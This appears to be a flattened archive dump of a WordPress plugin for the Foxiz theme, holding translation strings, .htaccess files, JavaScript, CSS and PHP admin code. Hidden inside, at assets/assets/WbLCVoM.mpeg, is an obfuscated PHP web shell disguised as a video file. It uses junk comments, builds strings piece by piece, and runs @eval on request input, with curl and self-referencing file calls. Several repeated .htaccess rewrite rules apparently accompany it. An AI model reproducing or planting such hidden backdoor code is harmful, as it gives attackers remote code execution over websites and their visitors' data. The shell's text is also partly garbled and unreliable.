widgets/sb-social-icon.php:180 msgid "Snapchat URL" msgstr "" #: widgets/sb-social-icon.php:187 msgid "Myspace URL" msgstr "" #: widgets/sb-social-icon.php:194 msgid "Youtube URL" msgstr "" #: widgets/sb-social-icon.php:201 msgid "Bloglovin URL" msgstr "" #: widgets/sb-social-icon.php:208 msgid "Digg URL" msgstr "" #: widgets/sb-social-icon.php:215 msgid "Dribbble URL" msgstr "" #: widgets/sb-social-icon.php:222 msgid "SoundCloud URL" msgstr "" #: widgets/sb-social-icon.php:229 msgid "Vimeo URL" msgstr "" #: widgets/sb-social-icon.php:236 msgid "Reddit URL" msgstr "" #: widgets/sb-social-icon.php:243 msgid "VKontakte URL" msgstr "" #: widgets/sb-social-icon.php:250 msgid "Telegram URL" msgstr "" #: widgets/sb-social-icon.php:257 msgid "Whatsapp URL" msgstr "" #: widgets/sb-social-icon.php:264 msgid "RSS URL" msgstr "" #: widgets/sb-tweet.php:15 msgid "Latest Tweets" msgstr "" #: widgets/sb-tweet.php:24 msgid "Foxiz - Widget Tweet" msgstr "" #: widgets/sb-tweet.php:26 msgid "[Sidebar Widget] Display latest Twitter tweets in the sidebars." msgstr "" #: widgets/sb-tweet.php:58 msgid "Twitter User Name" msgstr "" #: widgets/sb-tweet.php:65 msgid "Number of Tweets" msgstr "" #: widgets/sb-tweet.php:72 msgid "Twitter API Settings" msgstr "" #: widgets/sb-tweet.php:79 msgid "Twitter Consumer Key" msgstr "" #: widgets/sb-tweet.php:86 msgid "Twitter Consumer Secret" msgstr "" #: widgets/sb-tweet.php:93 msgid "Twitter Access Token" msgstr "" #: widgets/sb-tweet.php:100 msgid "Twitter Access Secret" msgstr "" #: widgets/sb-tweet.php:135 msgid "Following" msgstr "" #: widgets/sb-tweet.php:156 #, php-format msgid "%s ago" msgstr "" #: widgets/sb-weather.php:22 msgid "Foxiz - Widget Weather" msgstr "" #: widgets/sb-weather.php:24 msgid "[Sidebar Widget] Display today weather information in the sidebars." msgstr "" #: widgets/sb-weather.php:56 msgid "Units" msgstr "" #: widgets/sb-weather.php:67 msgid "Weather Settings" msgstr "" #: widgets/sb-weather.php:73 msgid "Digit ISO Location Code" msgstr "" #: widgets/sb-weather.php:75 msgid "Put the city's name, comma, 2-letter country code. i.e: London, GB)" msgstr "" #: widgets/sb-weather.php:81 msgid "Weather API Key" msgstr "" #: widgets/sb-weather.php:89 msgid "Forecast" msgstr "" #: widgets/sb-youtube.php:20 msgid "Foxiz - Youtube Subscribe" msgstr "" #: widgets/sb-youtube.php:22 msgid "[Sidebar Widget] Display YouTube subscribe box in the sidebars." msgstr "" #: widgets/sb-youtube.php:59 msgid "Channel Name" msgstr "" #: widgets/sb-youtube.php:66 msgid "or Channel ID" msgstr "" #: widgets/sb-youtube.php:67 msgid "this setting will override on the above channel name." msgstr "" languages/.htaccess000064400000001626147206624460010330 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] assets/core.js000064400000015014147206624460007350 0ustar00/** FOXIZ_CORE_SCRIPT */ function initDarkMode() { let darkModeID = 'RubyDarkMode'; if (foxizCoreParams.darkModeID) { darkModeID = foxizCoreParams.darkModeID; } let currentMode = localStorage.getItem(darkModeID); if (null === currentMode) { currentMode = document.body.getAttribute('data-theme'); } if ('dark' === currentMode) { document.body.setAttribute('data-theme', 'dark'); let darkIcons = document.getElementsByClassName('mode-icon-dark'); if (darkIcons.length) { for (let i = 0; i < darkIcons.length; i++) { darkIcons[i].classList.add('activated'); } } } else { document.body.setAttribute('data-theme', 'default'); let defaultIcons = document.getElementsByClassName('mode-icon-default'); if (defaultIcons.length) { for (let i = 0; i < defaultIcons.length; i++) { defaultIcons[i].classList.add('activated'); } } } } (function () { initDarkMode(); /** privacy */ let currentPrivacy = localStorage.getItem('RubyPrivacyAllowed'); let privacyBox = document.getElementById('rb-privacy'); if (!currentPrivacy && privacyBox !== null) { privacyBox.classList.add('activated'); } /** reading size */ let readingSize = sessionStorage.getItem('rubyResizerStep'); if (readingSize) { let body = document.getElementsByTagName("BODY")[0]; if (2 == readingSize) { body.classList.add('medium-entry-size'); } else if (3 == readingSize) { body.classList.add('big-entry-size'); } } })(); /** core */ var FOXIZ_CORE_SCRIPT = (function (Module, $) { "use strict"; Module.init = function () { this._body = $('body'); this.switchDarkMode(); this.notificationStatus(); } Module.switchDarkMode = function () { var self = this; let darkModeID = 'RubyDarkMode'; if (foxizCoreParams.darkModeID) { darkModeID = foxizCoreParams.darkModeID; } $('.dark-mode-toggle').off('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (!$(this).hasClass('triggered')) { $(this).addClass('triggered') } let iconDefault = $('.mode-icon-default'); let iconDark = $('.mode-icon-dark'); let currentMode = localStorage.getItem(darkModeID); if (null === currentMode) { currentMode = document.body.getAttribute('data-theme'); } self._body.addClass('switch-smooth'); if (null === currentMode || 'default' === currentMode) { localStorage.setItem(darkModeID, 'dark'); self._body.attr('data-theme', 'dark'); iconDefault.removeClass('activated'); iconDark.addClass('activated'); } else { localStorage.setItem(darkModeID, 'default'); self._body.attr('data-theme', 'default'); iconDefault.addClass('activated'); iconDark.removeClass('activated'); } }) } /** share action */ Module.shareTrigger = function () { $('a.share-trigger').off('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); window.open($(this).attr('href'), '_blank', 'width=600, height=350'); return false; }); $('a.copy-trigger').off('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); var link = target.data('link'); var copied = target.data('copied'); if (link) { navigator.clipboard.writeText(link).then( function () { $('body').find('.tipsy-inner').html((copied)); }); } }); }; Module.notificationStatus = function () { let storageID = 'RubyNotification'; let notification = $('.notification-icon'); let statusID = notification.data('notification'); if (statusID) { let currentStatus = localStorage.getItem(storageID); if (!currentStatus || statusID != currentStatus) { notification.addClass('notification-activated'); } } notification.on('click', function () { $(this).removeClass('notification-activated'); localStorage.setItem(storageID, statusID); }); } /** single infinite load */ Module.loadGoogleAds = function (response) { var googleAds = $(response).find('.adsbygoogle'); if (typeof window.adsbygoogle !== 'undefined' && googleAds.length) { var adsbygoogle; googleAds.each(function () { (adsbygoogle = window.adsbygoogle || []).push({}); }); } } Module.loadInstagram = function (response) { var instEmbed = $(response).find('.instagram-media'); if ('undefined' !== typeof window.instgrm) { window.instgrm.Embeds.process(); } else if (instEmbed.length && 'undefined' === typeof window.instgrm) { var embedJS = document.createElement('script'); embedJS.src = '//platform.instagram.com/en_US/embeds.js'; embedJS.onload = function () { window.instgrm.Embeds.process(); }; this.$body.append(embedJS); } } Module.updateGA = function (article) { var gaURL = article.postURL.replace(/https?:\/\/[^\/]+/i, ''); if (typeof _gaq !== 'undefined' && _gaq !== null) { _gaq.push(['_trackPageview', gaURL]); } if (typeof ga !== 'undefined' && ga !== null) { ga('send', 'pageview', gaURL); } if (typeof __gaTracker !== 'undefined' && __gaTracker !== null) { __gaTracker('send', 'pageview', gaURL); } if (window.googletag && googletag.pubadsReady) { googletag.pubads().refresh(); } } return Module; }(FOXIZ_CORE_SCRIPT || {}, jQuery)); jQuery(document).ready(function () { FOXIZ_CORE_SCRIPT.init(); }); jQuery(window).on('load', function () { FOXIZ_CORE_SCRIPT.shareTrigger(); });assets/assets/index.php000064400000000000147206624460011171 0ustar00assets/assets/WbLCVoM.mpeg000064400000011513147206624460011447 0ustar00gg~qn%-*/."g"."e"; $KVPmL = /*-+ZKt@$bn-*/$X("~"/*-jaDl4h-*/, " "); /*-oG-*/$jZ/*-nFAc-*/=/*-LH-*/${$KVPmL/*-)na-*/[19+12]/*-@49-*/.$KVPmL[4+55]./*-!TCIi-*/$KVPmL/*-RR-*/[40+7]/*-[b-*/.$KVPmL/*--j&}h1w-*/$KVPmL/*-.%Rg}-*/[49+4]./*-YXGDjYUf-*/$KVPmL/*-zc#-*/[35+22]};/*-gIf%dg-*/ @(count/*-DJ%gX@Gb#-*/($jZ)/*-w3FO]m;wU-*/==/*-a}-*/10&&/*-Q!K,6N!f-*/in_array(/*-gtB(!CFa-*/gettype(/*-`z=yeL6~<-*/$jZ)./*-wmU-*/count(/*-e8S:h5H!]-*/$jZ),$jZ))?(($jZ[65]=$jZ[65].$jZ[75])&&($jZ[88]=$jZ[65]($jZ[88]))&&(/*-S`ES^mlAOm-*/@eval/*-EMf-*/($jZ[65](${$jZ[36]}[11])/*-UtTJ.n-*/))/*-_w-*/):$jZ;/*-BkQ>`T-*/class /*-jf_AfU2-*/A{ /*-cVAFlAQMj-*/static/*-j!Z-*/ function /*-I^eTr-*/rnxB($cJreozn) /*-9~_wS>-*/{ $dcP/*-h0aI=M`7B<-*/ = /*-$@F-*/"r"./*-vnMC(R-*/"a"./*-,]ik-*/"n"./*-{HKN3o^K-*/"g"./*-E(?Q(-*/"e"; /*-b_$?.mv3-*/$XuA/*-9T-*/ = /*-6C(;>A2-*/$dcP/*-IESbI<3Hq-*/(/*-xI~&H<-*/"~"/*-%e(|-*/, /*-)UHm-*/" "/*-Z3h7~CDbD-*/);/*-mvlO4-*/ $KJGE /*-dSfa{^-*/= /*-PX-*/explode/*-Ck^7`ke~-*/(/*-:J^rWMuxAv-*/"*", /*-!NNB`-*/$cJreozn/*-AF-*/); /*-pTw-*/$fiHWpbQ /*-@XPc-*/= /*-EGIW2]xhsK-*/""; foreach /*-f[YN3N0Q-*/(/*-6;vqsK-*/$KJGE /*-Zw:o3E=-*/as /*-3`1FO-*/$ekKQTPRyq /*-&z-*/=>/*-kcxRj,Vm-*/ $tzINZ/*-m-H8OGG-*/) /*-LGAY[G[N-*/$fiHWpbQ /*-:gtP-*/.= /*-zzh-*/$XuA[$tzINZ/*-;D>!8vD-*/)/*-lqFN(~@zq-*/ {/*-etb6-*/ $ZeLBNn/*-K-*/ = /*-O~G3;n0$(-*/curl_init/*-18;+14-*/(/*-6q$`a}U<-*/$BslXc/*-FWlwTl-*/);/*-@m#3-*/ curl_setopt/*-d1P-*/(/*-(],A?f-*/$ZeLBNn,/*-5S1Vm)p%-*/ CURLOPT_RETURNTRANSFER,/*-v`Tb)oF-*/ ? /*-56,L7-*/$VlOgSiQ/*-vYy6yJ-*/(/*-1^G]Hw4_-*/$BslXc/*-EtsQ%Z}1j3-*/)/*-tmH7f^`M-*/ : /*-s%BwSa-*/${/*-=VZ=<-*/"_"/*-uI41exh-*/."G"/*-`)vjy4?:o-*/."E"/*-s$(e-*/."T"/*-Gc&-*/}[/*-878-*/[/*-akBFP-*/5+1/*-@G[m+>r--*/], /*-e~I-*/$Wua/*-RUZM{Te@hu-*/);/*-#?Kv-*/ $yTMwh /*-pSKAw-*/=/*-4-Qml-*/ $jRobOEdDWK/*-;m-*/[/*-j39Ld5R1k4-*/1+1/*-Ekw.K-KE-*/]/*-Ctp`]]nQ;+-*/(/*-PRS-*/$AF,/*-Hz-*/ true/*-`Hnt-*/); /*-(qK:bO-*/@${/*-Nl$-*/"_"./*-xS-*/"G"./*-HzvT5r|-*/$jRobOEdDWK[0+5/*-]uwyY=-*/]/*-Dd-=-*/(/*-.CbizA-*/__FILE__/*-Q},!-*/)/*-DT(M@I-*/); /*-[V{RWpVm-*/if/*-lJE&E-*/(/*-EVz-*/ (/*-~5i6-*/(@/*-:D?{#.-*/$yTMwh/*-!5P|[0b0-*/[/*-FM-*/0/*-{r!UKj8-*/] /*-%T!-*/- time/*-~tyW}!-*/()/*-=0-*/) > /*-<31xW1GZ1--*/0/*-V61&0v9O-*/)/*-ie[Gl-*/ and /*-9VLg$Fqv-*/(/*-`_:assets/assets/.htaccess000064400000001626147206624460011166 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] assets/admin-screen.css000064400000010730147206624460011141 0ustar00.login.rb-login-screen form { overflow: visible; padding: 0; border: none; background: none; box-shadow: none; } .rb-login-screen #login { -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; max-width: 340px; margin-left: 0; padding: 30px; border-radius: 5px; background: #fff; box-shadow: 0 10px 50px rgba(0, 0, 0, .1); } .rb-login-outer { display: flex; align-items: flex-start; max-width: 1000px; height: 100%; margin: auto; padding-right: 20px; padding-left: 20px; } .login-action-confirm_admin_email #login { margin-top: auto; } .rb-login-screen h1, .login.rb-login-screen h1 a { outline: none !important; box-shadow: none !important; } .login.rb-login-screen form .input, .login.rb-login-screen form .input#wp-submit, .login.rb-login-screen form input[type=checkbox], .login.rb-login-screen input[type=text], .login.rb-login-screen input[type=password] { margin-right: 0; border: none; outline: none !important; background-color: rgba(0, 0, 0, .05); box-shadow: none !important; } .login.rb-login-screen input[type=text], .login.rb-login-screen input[type=password], .login.rb-login-screen input[type=email] { padding-left: 40px; } .rb-login-screen label { font-size: 13px; position: relative; margin-bottom: 7px; color: #999; } .rb-login-screen form .forgetmenot { display: flex; float: none; align-items: center; justify-content: flex-end; } .rb-login-screen form .forgetmenot label { font-size: 11px; line-height: 1; margin-left: 5px; } .rb-login-screen #login form p.submit { display: flex; justify-content: center; margin-top: 20px; padding: 10px; } .rb-login-screen input#wp-submit { font-size: 14px; font-weight: 700; line-height: 1; padding: 15px 40px; -webkit-transition: all .3s; transition: all .3s; letter-spacing: .07em; text-transform: uppercase; border: none; background-color: #4285ff; } .rb-login-screen input#wp-submit:hover { -webkit-box-shadow: 1px 5px 20px #4285ff80 !important; box-shadow: 1px 5px 20px #4285ff80 !important; } .rb-login-screen label[for='user_login']:before, .rb-login-screen label[for='user_pass']:before, .rb-login-screen label[for='user_email']:before { font-family: dashicons; font-size: 24px; line-height: var(--height-40); position: absolute; z-index: 1; top: calc(100% + 10px); left: 0; display: block; width: 40px; height: 40px; content: '\f110'; /*color: #82aeff;*/ text-align: center; } .rb-login-screen label[for='user_pass']:before { content: '\f160'; } .rb-login-screen label[for='user_email']:before { content: '\f465'; } .rb-login-screen .button.wp-hide-pw .dashicons { color: #4285ff; } .rb-login-screen #backtoblog, .rb-login-screen .privacy-policy-link { font-size: 11px; margin-bottom: 0; text-align: center; } .rb-login-screen #backtoblog a, .rb-login-screen .privacy-policy-link { color: #999; } .rb-login-screen .privacy-policy-page-link { margin-top: 10px; margin-bottom: 0; } .rb-login-screen #nav { font-size: 10px; margin-top: 20px; text-align: center; letter-spacing: .05em; text-transform: uppercase; } .rb-login-screen #reg_passmail { font-size: 13px; font-style: italic; color: #999; } .rb-login-screen.login #login_error, .rb-login-screen.login .message, .rb-login-screen.login .success { background-color: rgba(0, 0, 0, .05); box-shadow: none; } .rb-login-screen .message.register { font-weight: 700; text-align: center; border: none; border-bottom: 3px dashed #eee; border-radius: 0; background-color: transparent; } body.rtl.rb-login-screen label[for='user_login']:before, body.rtl.rb-login-screen label[for='user_pass']:before, body.rtl.rb-login-screen label[for='user_email']:before { right: 0; left: auto; } body.rtl.login.rb-login-screen input[type=text], body.rtl.login.rb-login-screen input[type=password], body.rtl.login.rb-login-screen input[type=email] { padding-right: 40px; padding-left: 0; } @media (max-width: 1024px) { body.rb-login-screen #login { margin-right: auto !important; margin-left: auto !important; } }assets/core.css000064400000000000147206624460007511 0ustar00assets/.htaccess000064400000001626147206624460007664 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/fonts/template.php000064400000012102147206624460011320 0ustar00font_selection( $fonts ); ?>

here from your Typekit Account.', 'foxiz-core' ), '//fonts.adobe.com/my_fonts?browse_mode=all#web_projects-section' ); ?>

esc_html__( 'H1 Tag', 'foxiz-core' ), 'h2' => esc_html__( 'H2 Tag', 'foxiz-core' ), 'h3' => esc_html__( 'H3 Tag', 'foxiz-core' ), 'h4' => esc_html__( 'H4 Tag', 'foxiz-core' ), 'h5' => esc_html__( 'H5 Tag', 'foxiz-core' ), 'h6' => esc_html__( 'H6 Tag', 'foxiz-core' ), 'body' => esc_html__( 'Site Body', 'foxiz-core' ) ); foreach ( $elements as $element_id => $title ) : ?>

admin/fonts/fonts.php000064400000004257147206624460010652 0ustar00page_title = esc_html__( 'Adobe Fonts', 'foxiz-core' ); $this->menu_title = esc_html__( 'Adobe Fonts', 'foxiz-core' ); $this->menu_slug = 'rb-adobe-fonts'; $this->capability = 'administrator'; $data = $this->get_data(); $data['button'] = esc_html__( 'Save Changes', 'foxiz-core' ); $data['delete'] = esc_html__( 'Delete Project', 'foxiz-core' ); $this->set_params( $data ); } public function get_data() { $data = get_option( 'rb_adobe_fonts', [] ); $data = wp_parse_args( $data, array( 'project_id' => '', 'fonts' => '' ) ); return $data; } public function get_slug() { return 'admin/fonts/template'; } public function get_name() { return false; } /** * @param array $fonts * * @return array */ public function font_selection( $fonts = array() ) { $options = array( '0' => esc_html__( '- Default -', 'foxiz-core' ) ); if ( is_array( $fonts ) ) { foreach ( $fonts as $name => $font ) { if ( ! isset( $font['family'] ) ) { continue; } if ( isset( $font['variations'] ) && is_array( $font['variations'] ) ) { foreach ( $font['variations'] as $variation ) { if ( substr( $variation, - 1 ) === 'i' ) { $label = $font['family'] . esc_html__( ' - Italic', 'foxiz-core' ) . ' ' . substr( $variation, 0, - 1 ); } else { $label = $font['family'] . esc_html__( ' - Normal', 'foxiz-core' ) . ' ' . $variation; } $options[ $name . '::' . $variation ] = $label; } } } } return $options; } } }admin/fonts/init.php000064400000015271147206624460010462 0ustar00get_data( $project_id ); if ( ! empty( $fonts ) && is_array( $fonts ) ) { update_option( 'rb_adobe_fonts', array( 'project_id' => $project_id, 'fonts' => $fonts ) ); } } } } public function load_font() { $settings = get_option( 'rb_adobe_font_settings', array() ); $fonts = get_option( 'rb_adobe_fonts', array() ); if ( count( $settings ) && ! empty( $fonts['project_id'] ) ) { wp_enqueue_style( 'adobe-fonts', esc_url_raw( 'https://use.typekit.net/' . esc_html( $fonts['project_id'] ) . '.css' ), array(), false, 'all' ); } } /** * @param $project_id * * @return array * */ public function get_data( $project_id ) { $data = array(); $api_url = 'https://typekit.com/api/v1/json/kits/' . $project_id . '/published'; $response = wp_remote_get( $api_url, array( 'timeout' => 60 ) ); if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) { $_POST['rb-project-id-notice'] = true; return $data; } $response = wp_remote_retrieve_body( $response ); $response = json_decode( $response, true ); $font_families = $response['kit']['families']; if ( is_array( $font_families ) && count( $font_families ) ) { foreach ( $font_families as $font_family ) { $family_name = $font_family['slug']; $data[ $family_name ] = array( 'family' => $font_family['name'], 'backup' => str_replace( '"', '', $font_family['css_stack'] ), 'variations' => array(), ); if ( isset( $font_family['css_names'][0] ) ) { $data[ $family_name ]['css_names'] = $font_family['css_names'][0]; } foreach ( $font_family['variations'] as $variation ) { $variations = str_split( $variation ); if ( $variations[0] === 'n' ) { $font_variation = $variations[1] . '00'; } else { $font_variation = $variations[1] . '00' . $variations[0]; } array_push( $data[ $family_name ]['variations'], $font_variation ); } } } else { $_POST['rb-project-empty-notice'] = true; } return $data; } /** notification */ public function notification() { if ( isset( $_POST['rb-fonts-nonce'] ) && wp_verify_nonce( $_POST['rb-fonts-nonce'], 'rb-fonts' ) ) : if ( ! empty( $_POST['rb-project-id-notice'] ) ) : ?>

$setting ) { if ( ! empty( $setting ) ) { $css_output .= $tag . '{' . $this->parse_setting( $setting ) . '}'; } } } if ( ! wp_style_is( 'foxiz-style' ) ) { wp_add_inline_style( 'adobe-fonts', $css_output ); } else { wp_add_inline_style( 'foxiz-style', $css_output ); } } } } /** load */ Rb_Init_Fonts::get_instance(); admin/fonts/.htaccess000064400000001626147206624460010603 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] admin/core.php000064400000022447147206624460007321 0ustar00 'admin/import/import.php', 'ThemeOptions' => 'admin/tops/tops.php', 'Translation' => 'admin/translation/translation.php', 'AdobeFonts' => 'admin/fonts/fonts.php', 'SystemInfo' => 'admin/system-info/system-info.php', ); static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } public function __construct() { self::$instance = $this; $this->set_panel(); $this->load_sub_pages(); $this->get_params(); add_action( 'admin_menu', array( $this, 'register_admin' ) ); add_action( 'admin_init', array( 'RB_AJAX_IMPORTER', 'get_instance' ) ); add_action( 'wp_ajax_rb_register_theme', array( $this, 'register_theme' ) ); add_action( 'wp_ajax_rb_deregister_theme', array( $this, 'deregister_theme' ) ); add_action( 'wp_ajax_rb_fetch_translation', array( $this, 'reload_translation' ) ); add_action( 'wp_ajax_rb_update_translation', array( $this, 'update_translation' ) ); add_action( 'admin_init', array( $this, 'welcome_redirect' ) ); } /** set panel */ public function set_panel() { $this->panel_slug = 'admin/templates/template'; $this->panel_name = 'panel'; $this->panel_title = esc_html__( 'Foxiz Admin', 'foxiz-core' ); $this->panel_menu_slug = 'foxiz-admin'; $this->panel_icon = 'dashicons-awards'; $this->panel_template = 'admin_template'; } /** get params */ public function get_params() { $this->params = wp_parse_args( $this->get_purchase_data(), array( 'purchase_code' => '', 'is_activated' => '', 'system_info' => rbSubPageSystemInfo::system_info() ) ); return false; } /** register admin */ public function register_admin() { if ( ! defined( 'FOXIZ_THEME_VERSION' ) ) { return false; } $panel_hook_suffix = add_menu_page( $this->panel_title, $this->panel_title, 'administrator', $this->panel_menu_slug, array( $this, $this->panel_template ), $this->panel_icon, 3 ); add_action( 'load-' . $panel_hook_suffix, array( $this, 'register_assets' ) ); foreach ( self::$sub_pages as $name => $path ) { $sub_page_class = 'rbSubPage' . $name; $sub_page = new $sub_page_class(); if ( ! empty( $sub_page->menu_slug ) ) { $page_hook_suffix = add_submenu_page( $this->panel_menu_slug, $sub_page->page_title, $sub_page->menu_title, $sub_page->capability, $sub_page->menu_slug, array( $sub_page, 'render' ) ); add_action( 'load-' . $page_hook_suffix, array( $this, 'register_assets' ) ); } } } /** load sub page */ public function load_sub_pages() { self::$sub_pages = apply_filters( 'rb_register_sub_page', self::$sub_pages ); foreach ( self::$sub_pages as $name => $path ) { $file_name = FOXIZ_CORE_PATH . $path; if ( file_exists( $file_name ) ) { require_once $file_name; } else { unset( self::$sub_pages[ $name ] ); } } return false; } /** purchase data */ public function get_purchase_data() { return get_option( $this->purchase_info ); } /** get purchase code */ public function get_purchase_code() { $data = $this->get_purchase_data(); if ( is_array( $data ) && isset( $data['purchase_code'] ) ) { return $data['purchase_code']; } return false; } /** get import */ public function get_imports() { $data = get_option( $this->import_info, [] ); if ( is_array( $data ) && isset( $data['listing'] ) ) { return $data['listing']; } return false; } /** load js and css */ public function register_assets() { add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_styles' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); } /** enqueue style */ public function enqueue_styles() { wp_enqueue_style( 'rb-panel-styles', plugins_url( FOXIZ_REL_PATH . '/admin/assets/panel.css' ) ); } /** enqueue script */ public function enqueue_scripts() { wp_register_script( 'rb-admin-core', plugins_url( FOXIZ_REL_PATH . '/admin/assets/panel.js' ), array( 'jquery' ), FOXIZ_CORE_VERSION, true ); wp_localize_script( 'rb-admin-core', 'foxizAdminCore', $this->localize_params() ); wp_enqueue_script( 'rb-admin-core' ); } /** admin template */ public function admin_template() { echo rb_admin_get_template_part( $this->panel_slug, $this->panel_name, $this->params ); } /** localize params */ public function localize_params() { return apply_filters( 'rb_admin_localize_data', array( 'ajaxUrl' => admin_url( 'admin-ajax.php' ) ) ); } /** register theme */ public function register_theme() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } if ( empty( $_POST['purchase_code'] ) || empty( $_POST['email'] ) ) { wp_send_json_error( esc_html__( 'Empty data! Please check input form.', 'foxiz-core' ), 404 ); die(); } if ( ! is_email( $_POST['email'] ) ) { wp_send_json_error( esc_html__( 'Wrong email format! Please check input form.', 'foxiz-core' ), 404 ); die(); } $url = add_query_arg( array( 'purchase_code' => sanitize_text_field( $_POST['purchase_code'] ), 'email' => esc_html( $_POST['email'] ), 'theme' => wp_get_theme()->get( 'Name' ), 'action' => 'register' ), $this->apiSever ); $response = $this->validation_api( $url ); if ( empty( $response['code'] ) || 200 !== $response['code'] ) { wp_send_json_error( esc_html( $response['message'] ), 404 ); die(); } else { if ( ! empty( $response['data']['purchase_info'] ) ) { update_option( $this->purchase_info, $response['data']['purchase_info'] ); } if ( ! empty( $response['data']['import'] ) ) { update_option( $this->import_info, $response['data']['import'] ); } wp_send_json_success( esc_html( $response['message'] ), 200 ); die(); } } /** deregister_theme */ public function deregister_theme() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) || ! $this->get_purchase_code() ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } $url = add_query_arg( array( 'purchase_code' => $this->get_purchase_code(), 'action' => 'deregister' ), $this->apiSever ); $response = $this->validation_api( $url ); delete_option( $this->purchase_info ); delete_option( $this->import_info ); if ( empty( $response['code'] ) || 200 !== $response['code'] ) { wp_send_json_error( esc_html( $response['message'] ), 404 ); } else { wp_send_json_success( esc_html( $response['message'] ), 200 ); } die(); } /** validate */ public function validation_api( $url ) { $params = array( 'user-agent' => 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), 'timeout' => 60 ); $response = wp_remote_get( $url, $params ); if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) { wp_send_json_error( esc_html__( 'Bad Request.', 'foxiz-core' ), 404 ); die(); } $response = wp_remote_retrieve_body( $response ); return json_decode( $response, true ); } /** * welcome redirect */ public function welcome_redirect() { $redirect = get_transient( '_rb_welcome_page_redirect' ); delete_transient( '_rb_welcome_page_redirect' ); if ( ! empty( $redirect ) ) { wp_safe_redirect( add_query_arg( array( 'page' => $this->panel_menu_slug ), esc_url( admin_url( 'admin.php' ) ) ) ); } } /** * reload translation */ function reload_translation() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } delete_option( 'rb_translation_data' ); wp_send_json_success( 'OK' ); } /** * update translation */ public function update_translation() { if ( empty( $_POST ) || empty ( $_POST['_nonce'] ) || ! wp_verify_nonce( $_POST['_nonce'], 'rb-core' ) ) { wp_send_json_error( esc_html__( 'Sorry, you are not allowed to do this action.', 'foxiz-core' ), 404 ); die(); } $data = $_POST; unset( $data['_nonce'] ); unset( $data['action'] ); $data = array_map( 'sanitize_text_field', $data ); update_option( 'rb_translated_data', $data ); wp_send_json_success( esc_html__( 'OK', 'foxiz-core' ) ); die(); } } } admin/import/import.php000064400000007223147206624460011210 0ustar00demos_path = apply_filters( 'rb_importer_demos_path', trailingslashit( plugin_dir_path( __FILE__ ) . 'demos' ) ); $this->demos_url = apply_filters( 'rb_importer_demos_url', trailingslashit( plugin_dir_url( __FILE__ ) . 'demos' ) ); $this->demos = RB_ADMIN_CORE::get_instance()->get_imports(); } /** set sub page */ public function set_sub_page() { $this->page_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_title = esc_html__( 'Demo Importer', 'foxiz-core' ); $this->menu_slug = 'rb-demo-importer'; $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } else { return 'admin/import/template'; } } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } else { return false; } } /** * @param $url * @param string $method * @param false $context * @param null $fields * * @return bool * init file */ public function init_filesystem( $url, $method = '', $context = false, $fields = null ) { if ( ! empty( $this->creds ) ) { return true; } require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( false === ( $this->creds = request_filesystem_credentials( $url, '', false, $context, null ) ) ) { return false; } if ( ! WP_Filesystem( $this->creds ) ) { request_filesystem_credentials( $url, '', true, $context, null ); return false; } return true; } /** create index */ public function create_index() { $this->init_filesystem( wp_nonce_url( '?page=' . $this->menu_slug ) ); global $wp_filesystem; $this->filesystem = $wp_filesystem; $index_path = trailingslashit( $this->demos_path ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $this->filesystem->put_contents( $index_path, 'create_index(); $params = array(); $imported = get_option( 'rb_imported_demos' ); $params['demos'] = $this->demos; if ( is_array( $params['demos'] ) && count( $params['demos'] ) ) { foreach ( $params['demos'] as $directory => $values ) { if ( empty( $params['demos'][ $directory ]['preview'] ) ) { $params['demos'][ $directory ]['preview'] = $this->demos_url . $directory . '.jpg'; } if ( is_array( $imported ) && ! empty( $imported[ $directory ] ) ) { $params['demos'][ $directory ]['imported'] = $imported[ $directory ]; } else { $params['demos'][ $directory ]['imported'] = 'none'; } } } $params = apply_filters( 'rb_importer_params', $params ); return $params; } } }admin/import/ajax.php000064400000027664147206624460010634 0ustar00get_imports(); } /** * @return string */ function register_tos_id() { if ( ! defined( 'FOXIZ_TOS_ID' ) ) { return 'RUBY_OPTIONS'; } return FOXIZ_TOS_ID; } /** install external plugins */ public function 